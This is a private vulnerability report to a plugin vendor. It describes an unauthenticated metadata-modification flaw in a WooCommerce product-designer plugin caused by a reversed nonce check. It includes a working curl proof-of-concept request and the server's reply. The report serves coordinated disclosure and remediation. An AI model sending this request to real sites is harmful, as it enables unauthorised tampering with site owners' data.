Private Security Report: Unauthenticated Template Metadata Modification in Product Designer 1.0.40

Hello PickPlugins Security Team,

I am reporting a security vulnerability that I identified in PickPlugins Product Designer for WooCommerce version 1.0.40. The issue was reproduced only in my own isolated local WordPress environment.

Summary

An unauthenticated attacker can modify the pre_templates metadata of an arbitrary Product Designer template through the product_designer_ajax_save_as_template AJAX action.

Affected Component

Plugin: PickPlugins Product Designer for WooCommerce
Version: 1.0.40
File: includes/functions-wc.php
Function: product_designer_ajax_save_as_template
AJAX action: product_designer_ajax_save_as_template
Authentication required: None

Root Cause

The endpoint is registered through wp_ajax_nopriv, allowing unauthenticated access. The nonce validation condition is reversed:

if (wp_verify_nonce($nonce, 'social_share_button_nonce')) {
die();
}

A valid nonce stops execution, while an invalid nonce allows execution to continue. The function also accepts a user-controlled pd_template_id and calls update_post_meta() without capability or ownership validation.

Reproduction Steps

1. Install and activate WooCommerce and Product Designer for WooCommerce version 1.0.40.
2. Create a Product Designer template and note its post ID.
3. Send the following unauthenticated request, replacing TARGET_TEMPLATE_ID with the local test template ID:

curl -sS -i -X POST
http://localhost/wp-admin/admin-ajax.php
--data-urlencode 'action=product_designer_ajax_save_as_template'
--data-urlencode 'nonce=definitely_invalid_nonce'
--data-urlencode 'values=pd_template_id=TARGET_TEMPLATE_ID&product_designer_side_attach_ids[test]=1337&product_designer_side_ids_json[test]=CVE_LOCAL_MARKER_2026'

4. The server returns:

{"form_data":{"test":"1337"},"msg":"Saved as template done!"}

5. The pre_templates metadata belonging to the selected Product Designer template now contains CVE_LOCAL_MARKER_2026, despite the request having no authenticated session and using an invalid nonce.

Impact

An unauthenticated attacker can persistently modify saved Product Designer template data belonging to an arbitrary template ID. This can corrupt or inject unauthorized design-template entries and affect the integrity of product-design data.

Suggested Remediation

• Reverse the nonce-validation logic so execution stops when verification fails.
• Use a nonce action specific to this endpoint.
• Convert pd_template_id using absint().
• Confirm that the target is a valid Product Designer template.
• Require an appropriate capability and verify ownership before updating metadata.
• If guest template saving is required, use a server-side session-bound identifier or an unguessable ownership token instead of accepting an arbitrary post ID.

Please keep this report private until a fix and coordinated disclosure are available. I would be happy to verify a patched release.

Researcher Credit

Valida Abdullayeva

Kind regards,
Valida Abdullayeva